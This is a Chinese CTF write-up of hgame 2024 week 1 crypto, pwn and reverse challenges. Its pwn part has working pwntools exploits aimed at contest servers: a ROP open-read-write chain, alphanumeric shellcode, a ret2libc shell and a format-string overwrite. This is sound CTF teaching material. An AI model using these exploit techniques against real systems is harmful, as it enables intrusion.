[hgame 2024 week1] crypto/pwn/reverse

第1周是入门题,作了3项的4+5+4道

Crypto

奇怪的图片

好像是个misc走错门了,给了一个程序和一堆图片,程序很长,但是看起来并不复杂

先用随机数生成一个图,和一个key(两个图),然后依次给这个图画上flag前i个字符,比如第1张是h,第2张是hg,依次类推.并且生成的图片名字是随机的,时间因为通过起线程运行也是一样的.

import time

from PIL import Image, ImageDraw, ImageFont
import threading
import random
import secrets


flag = "hgame{fake_flag}"


def generate_random_image(width, height):
    image = Image.new("RGB", (width, height), "white")
    pixels = image.load()
    for x in range(width):
        for y in range(height):
            red = random.randint(0, 255)
            green = random.randint(0, 255)
            blue = random.randint(0, 255)
            pixels[x, y] = (red, green, blue)
    return image


def draw_text(image, width, height, token):
    font_size = random.randint(16, 40)
    font = ImageFont.truetype("arial.ttf", font_size)
    text_color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
    x = random.randint(0, width - font_size * len(token))
    y = random.randint(0, height - font_size)
    draw = ImageDraw.Draw(image)
    draw.text((x, y), token, font=font, fill=text_color)
    return image


def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError("Images must have the same dimensions.")
    xor_image = Image.new("RGB", image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
            r2, g2, b2 = pixels2[x, y]
            xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image


def generate_unique_strings(n, length):
    unique_strings = set()
    while len(unique_strings) < n:
        random_string = secrets.token_hex(length // 2)
        unique_strings.add(random_string)
    return list(unique_strings)


random_strings = generate_unique_strings(len(flag), 8) #随机字符串作为文件名


current_image = generate_random_image(120, 80)
key_image = generate_random_image(120, 80)

def random_time(image, name):
    time.sleep(random.random())
    image.save(".\\png_out\\{}.png".format(name))

for i in range(len(flag)):
    current_image = draw_text(current_image, 120, 80, flag[i])
    threading.Thread(target=random_time, args=(xor_images(current_image, key_image), random_strings[i])).start()

处理方法就是随机用其中一张异或其它图片,假设这强图是第10张则有一半是前10个字符,一半是后边的,通过有哪个字符和没哪个字符判断出哪些图是前边的,哪些图是后边的,然后慢慢把图版重新排好顺序,然后再依次用第i张异或第i+1张,得到按顺序排的flag字符(手工排好序后其实已经得到flag)

from PIL import Image, ImageDraw, ImageFont
import sys 

def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError("Images must have the same dimensions.")
    xor_image = Image.new("RGB", image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
            r2, g2, b2 = pixels2[x, y]
            xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image


flist = "0086b19e.png,07e87b7c.png,18ef202a.png,194f4604.png,1e818c03.png,37bd8563.png,4675c2b4.png,4e8a536e.png,4feb8f79.png,5c55dc77.png,64d3105a.png,6760fade.png,6f050db3.png,7fccdb2c.png,88de0f1e.png,8efe1319.png,aa10e2f3.png,c2a7209d.png,d73209f8.png,e626e3b0.png,ebeaf198.png".split(",")

flist = """5c55dc77.png
7fccdb2c.png
e626e3b0.png
4675c2b4.png
ebeaf198.png
18ef202a.png
0086b19e.png
d73209f8.png
88de0f1e.png
6760fade.png
4e8a536e.png
37bd8563.png
c2a7209d.png
6f050db3.png
aa10e2f3.png
8efe1319.png
4feb8f79.png
07e87b7c.png
1e818c03.png
64d3105a.png
194f4604.png""".split()
#k = int(sys.argv[1])
#img0 = Image.open(".\\png_out\\"+flist[k])
for i in range(1,len(flist)):
    #if i ==k: continue
    img0 = Image.open(".\\png_out\\"+flist[i-1])
    img1 = Image.open('.\\png_out\\'+flist[i])
    img2 = xor_images(img0,img1)
    img2.save(f".\\png2\\{i:02d}.png")

#hgame{1adf_17eb_803c}

ezmath

题目给了一个佩尔方程,D是114514,将y作为key对flag进行AES加密

from Crypto.Util.number import *
from Crypto.Cipher import AES
import random,string
from secret import flag,y,x
def pad(x):
    return x+b'\x00'*(16-len(x)%16)
def encrypt(KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    encrypted =cipher.encrypt(flag)
    return encrypted
D = 114514
assert x**2 - D * y**2 == 1
flag=pad(flag)
key=pad(long_to_bytes(y))[:16]
enc=encrypt(key)
print(f'enc={enc}')
#enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"

先通过二元方程解出其中一组解 Generic two integer variable equation solver

然后再根据这组解进行计算爆破

#https://www.alpertron.com.ar/QUAD.HTM
D = 114514
P = 3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199
Q = 1034956362788553601270645417188243680210041745579380231734732416649776216992793746932860400096851381520
R = 9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680
S = 3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199

from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES

def pad(x):
    return x+b'\x00'*(16-len(x)%16)

def decrypt(KEY,enc):
    cipher= AES.new(KEY,AES.MODE_ECB)
    encrypted =cipher.decrypt(enc)
    return encrypted

enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"

x,y = 1,0
for i in range(100):
    key=pad(long_to_bytes(int(y)))[:16]
    v = decrypt(key, enc)
    if b'{' in v:
        print(v)
    x,y = P*x+Q*y,R*x+S*y    

 ezRSA

第1道rsa的题泄露的pow(p,q,n),pow(q,p,n)其实这里就是p和q

from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getPrime(1024)
q=getPrime(1024)
n=p*q
phi=(p-1)*(q-1)
e=0x10001
c=pow(m,e,n)
leak1=pow(p,q,n)
leak2=pow(q,p,n)

print(f'leak1={leak1}')
print(f'leak2={leak2}')
print(f'c={c}')

"""
leak1=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
leak2=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971
"""

已知因子可以直接解

long_to_bytes(int(pow(c, inverse_mod(0x10001, leak1-1), leak1)))

ezPRNG

把flag去壳后分成4段作了prng

from Crypto.Util.number import *
import uuid
def PRNG(R,mask):
    nextR = (R << 1) & 0xffffffff
    i=(R&mask)&0xffffffff
    nextbit=0
    while i!=0:
        nextbit^=(i%2)
        i=i//2
    nextR^=nextbit 
    return (nextR,nextbit)

R=str(uuid.uuid4())
flag='hgame{'+R+'}'
print(flag)
R=R.replace('-','')
Rlist=[int(R[i*8:i*8+8],16) for i in range(4)]

mask=0b10001001000010000100010010001001
output=[]
for i in range(4):
    R=Rlist[i]
    out=''
    for _ in range(1000):
        (R,nextbit)=PRNG(R,mask)
        out+=str(nextbit)
    output.append(out)

print(f'output={output}')

output=['1111110110111011110000101011010001000111111001111110100101000011110111111100010000111110110111100001001000101101011110111100010010100000011111101101110101011010111000000011110000100011101111011011000100101100110100101110001010001101101110000010001000111100101010010110110111101110011011001011111011010101011000011011000111011011111001101010111100101100110001011010010101110011101001100111000011110111000001101110000001111100000100000101111100010110111001110011010000011011110110011000001101011111111010110011010111010101001000010011110110011110110101011110111010011010010110111111010011101000110101111101111000110011111110010110000100100100101101010101110010101001101010101011110111010011101110000100101111010110101111110001111111110010000000001110011100100001011111110100111011000101001101001110010010001100011000001101000111010010000101101111101011000000101000001110001011001010010001000011000000100010010010010111010011111111011100100100100101111111001110000111110110001111001111100101001001100010', '0010000000001010111100001100011101111101111000100100111010101110010110011001011110101100011101010000001100000110000000011000000110101111111011100100110111011010000100011111000111001000101001110010110010001000110010101011110011101000011111101101011000011110001101011111000110111000011000110011100100101100111100000100100101111001011101110001011011111111011010100010111011000010010101110110100000110100000100010101000010111101001000011000000000111010010101010111101101011111011001000101000100011001100101010110110001010010001010110111011011111101011100111001101111111111010011101111010010011110011111110100110011111110110001000111100010111000101111000011011011111101110101110100111000011100001010110111100011001011010011010111000110101100110100011101101011101000111011000100110110001100110101010110010011011110000111110100111101110000100010000111100010111000010000010001111110110100001000110110100100110110010110111010011111101011110000011101010100110101011110000110101110111011010110110000010000110001', '1110110110010001011100111110111110111001111101010011001111100100001000111001101011010100010111110101110101111010111100101100010011001001011101000101011000110111000010000101001000100111010110001010000111110110111000011001100010001101000010001111111100000101111000100101000000001001001001101110000100111001110001001011010111111010111101101101001110111010111110110011001000010001010100010010110110101011100000101111100100110011110001001001111100101111001111011011010111001001111010001100110001100001100000110000011111010100101111000000101011111010000111110000101111100010000010010111010110100101010101001111100101011100011001001011000101010101001101100010110000010001110011110011100111000110101010111010011010000001100001011000011101101000000011111000101111101011110011000011011000100100110111010011001111101100101100011000101001110101111001000010110010111101110110010101101000000101001011000000001110001110000100000001001111100011010011000000011011101111101001111110001011101100000010001001010011000001', '0001101010101010100001001001100010000101010100001010001000100011101100110001001100001001110000110100010101111010110111001101011011101110000011001000100100101000011011101000111001001010011100010001010110111011100100111110111001010010111010100000100111110101110010010110100001000010010001101111001110100010001011101100111011101011101100100101011010101000101001000101110011011111110110011111111100000000011100000010011000110001000110101010001011000010101000110000101001110101010111011010010111011001010011100010101001100110000110101100010000100110101110100001101001011011110011100110011001010110100101010111110110111100000111010001111101110000000000111011011101000011001010010111001110111000100111011110100101000100011011101100011111000101110110110111111001111000000011100011000010000101001011001101110101000010101001000100110010000101001111100101000001011011010011110001101000001101111010100101001100010100000111000011110101010100011011001110001011110111010111011010101101100000110000001010010101111011']

通过矩阵解回原值

mask = '10001001000010000100010010001001'
M = matrix(GF(2), 32,32)
for i in range(31):
    M[i+1,i] = 1
for i in range(32):
    M[i,-1] = int(mask[i])

V = vector(GF(2), 32)
for i in range(32):
    V[i] = int(output[0][i]) #第1段

R = (M^32).solve_left(V)
a = ''.join([str(i) for i in R])
a = ''.join([f"{int(a[i:i+4],2):x}" for i in range(0,32,4)])

PWN

Elden Ring I

只有一个函数,只有一句话,是个溢出,但是通过seccomp限制了execve,

ssize_t vuln()
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  puts("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n");
  return read(0, buf, 0x130uLL);
}

orw入门

from pwn import *

elf = ELF('./vuln')
libc = ELF('./libc.so.6')
context(arch='amd64', log_level='debug')

pop_rdi = 0x00000000004013e3 # pop rdi ; ret
bss = 0x404800
leave_ret = 0x401375

#p = process('./vuln')
p = remote('47.100.137.175', 30879)

p.sendafter(b"I offer you an accord.\n\n", b'\0'*0x100+flat(bss, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x40126a))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")

pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc.address + 0x0000000000142c92 # pop rdx ; ret
pop_rax = libc.address + 0x0000000000036174 # pop rax ; ret
syscall = libc.sym['getpid'] + 9

#gdb.attach(p, "b*0x401290\nc")

p.sendafter(b"I offer you an accord.\n\n", flat([
    b'./flag\0\0', pop_rdi, 0x404700, pop_rsi,0,pop_rdx,0, pop_rax,2, syscall,
    pop_rdi,3, pop_rsi,0x404600, pop_rdx,0x50, pop_rax,0, syscall,
    pop_rdi,1, pop_rax,1,syscall
]).ljust(0x100,b'\x00')+ flat(0x404700, leave_ret))

p.interactive()

shellcode

限制只输入数字字母的shellcode,长度限制可以负数绕过,调用一个网上现成的可打印字符的shellcode即可.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v4; // [rsp+Ch] [rbp-14h] BYREF
  void *v5; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void *)(int)mmap((void *)0x20240000, 0x1000uLL, 7, 33, -1, 0LL);
  if ( v5 == (void *)-1LL )
  {
    perror("mmap");
    exit(1);
  }
  printf("input the length of your shellcode:");
  __isoc99_scanf("%2d", &v4);
  if ( v4 <= 10 )
  {
    printf("input your shellcode:");
    myread(v5, v4);                             // 字符检查
  }
  else
  {
    puts("too long");
  }
  ((void (*)(void))v5)();
  return 0;
}
unsigned __int64 __fastcall myread(void *a1, unsigned int a2)
{
  char v3; // [rsp+1Fh] [rbp-11h]
  unsigned int i; // [rsp+20h] [rbp-10h]
  unsigned int v5; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v5 = read(0, a1, a2);
  for ( i = 0; i < v5; ++i )
  {
    v3 = *((_BYTE *)a1 + i);
    if ( (v3 <= 96 || v3 > 122) && (v3 <= 64 || v3 > 90) && (v3 <= 47 || v3 > 57) )
    {
      puts("Invalid character\n");
      exit(1);
    }
  }
  return v6 - __readfsqword(0x28u);
}
from pwn import *

context(arch='amd64', log_level='debug')

#p = process('./vuln3')
p = remote('47.100.137.175', 30739)
#gdb.attach(p, "b*0x555555555456\nc")
p.sendlineafter(b":", b'-1')
p.sendafter(b":", b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t")

p.interactive()

Elden Random Challenge

拿时间作种子的随机数,通过ctype调用libc用同步的时间得到相同的随机数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-18h] BYREF
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
  int v6; // [rsp+18h] [rbp-8h]
  unsigned int seed; // [rsp+1Ch] [rbp-4h]

  init();
  seed = time(0LL);
  puts("Menlina: Well tarnished, tell me thy name.");// 没有泄露,但是可以覆盖v6
  read(0, buf, 0x12uLL);
  printf("I see,%s", buf);
  puts("Now the golden rule asks thee to guess ninety-nine random number. Shall we get started.");
  srand(seed);
  while ( i <= 98 )
  {
    v6 = rand() % 100 + 1;
    v4 = 0;
    puts("Please guess the number:");
    read(0, &v4, 8uLL);
    if ( v6 != v4 )
    {
      puts("wrong!");
      exit(0);
    }
    ++i;
  }
  puts("Here's a reward to thy brilliant mind.");
  myread();
  return 0;
}
from pwn import *
from ctypes import *

elf = ELF('./vuln4')
libc = ELF('./libc.so.6')
clibc = cdll.LoadLibrary("./libc.so.6")

context(arch='amd64', log_level='debug')

pop_rdi = 0x0000000000401423 # pop rdi ; ret

#p = process('./vuln4')
p = remote('47.100.137.175', 30018)

seed = clibc.time(0)
print(f"{seed = :x}")
clibc.srand(seed)

#gdb.attach(p,"b*0x4012e4\nc")

p.sendafter(b"Menlina: Well tarnished, tell me thy name.\n", flat(elf.got['puts']))


for i in range(99):
    v6 = clibc.rand()%100+1 
    p.sendafter(b"Please guess the number:\n", p32(v6))

#myread()
p.sendafter(b"Here's a reward to thy brilliant mind.\n", b'\0'*0x38+flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['myread']))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")

p.send(b'\0'*0x38 + flat(pop_rdi+1,pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
p.sendline(b'cat flag')
p.interactive()

ezFMT

一个格式化字符串漏洞,但是要利用内存残留的指针,因为只能运行一次没有循环也没有栈地址.

unsigned __int64 vuln()
{
  __int64 buf[4]; // [rsp+0h] [rbp-80h] BYREF
  char s[88]; // [rsp+20h] [rbp-60h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  strcpy((char *)buf, "make strings and getshell\n");
  write(0, buf, 0x1BuLL);
  read(0, s, 0x50uLL);
  if ( !strchr(s, 'p') && !strchr(s, 's') )
    printf(s);
  return __readfsqword(0x28u) ^ v3;
}

内存里残留的指针,将残留指尾字节改为\x38指向ret,然后printf修改返回地址到后门

from pwn import *

elf = ELF('./vuln4')
context(arch='amd64', log_level='debug')

#p = process('./vuln4')
p = remote('47.100.137.175', 30198)
#gdb.attach(p, "b*0x401316\nc")

v2 = 0x401245&0xffff
pay = f"%{v2}c%18$hn".ljust(0x40,'.').encode()+b'\x38'  #覆盖尾字节形成指向ret的指针,1/16爆破

p.send(pay)
sleep(0.2)
p.sendline(b"cat flag")
p.interactive()

Reverse

ezASM

给了汇编代码,手搓,其实就两句,一句是密文一句是xor al,0x22

section .data
    c db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34
    flag db 33 dup(0)
    format db "plz input your flag: ", 0
    success db "Congratulations!", 0
    failure db "Sry, plz try again", 0

section .text
    global _start

_start:
    ; Print prompt
    mov eax, 4
    mov ebx, 1
    mov ecx, format
    mov edx, 20
    int 0x80      // write(1,"plz input your flag: ",20)

    ; Read user input
    mov eax, 3
    mov ebx, 0
    mov ecx, flag
    mov edx, 33
    int 0x80      // read(0, flag, 33)

    ; Check flag
    xor esi, esi
check_flag:
    mov al, byte [flag + esi]
    xor al, 0x22           // xor 0x22 
    cmp al, byte [c + esi]
    jne failure_check            

    inc esi
    cmp esi, 33
    jne check_flag

    ; Print success message
    mov eax, 4
    mov ebx, 1
    mov ecx, success
    mov edx, 14
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

failure_check:
    ; Print failure message
    mov eax, 4
    mov ebx, 1
    mov ecx, failure
    mov edx, 18
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80
c = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]
bytes([0x22^i for i in c])
b'hgame{ASM_Is_Imp0rt4nt_4_Rev3rs3}\x00'

ezPYC

将打包成exe的python文件解包再反编译

flag = [87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2]
c = [1,2,3,4]

bytes([flag[i]^(i%4+1) for i in range(len(flag))])
b'VIDAR{Python_R3vers3_1s_1nter3st1ng!}\x00'

ezUPX

先工具UPX脱壳

enc=bytes.fromhex('647B76736049655D45136B02476D595C02456D066D5E0346465E016D02546D67626A134F32')
bytes([i^0x32 for i in enc])
#VIDAR{Wow!Y0u_kn0w_4_l1ttl3_0f_UPX!}

ezIDA

用IDA打开可以看到flag

  • 7
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值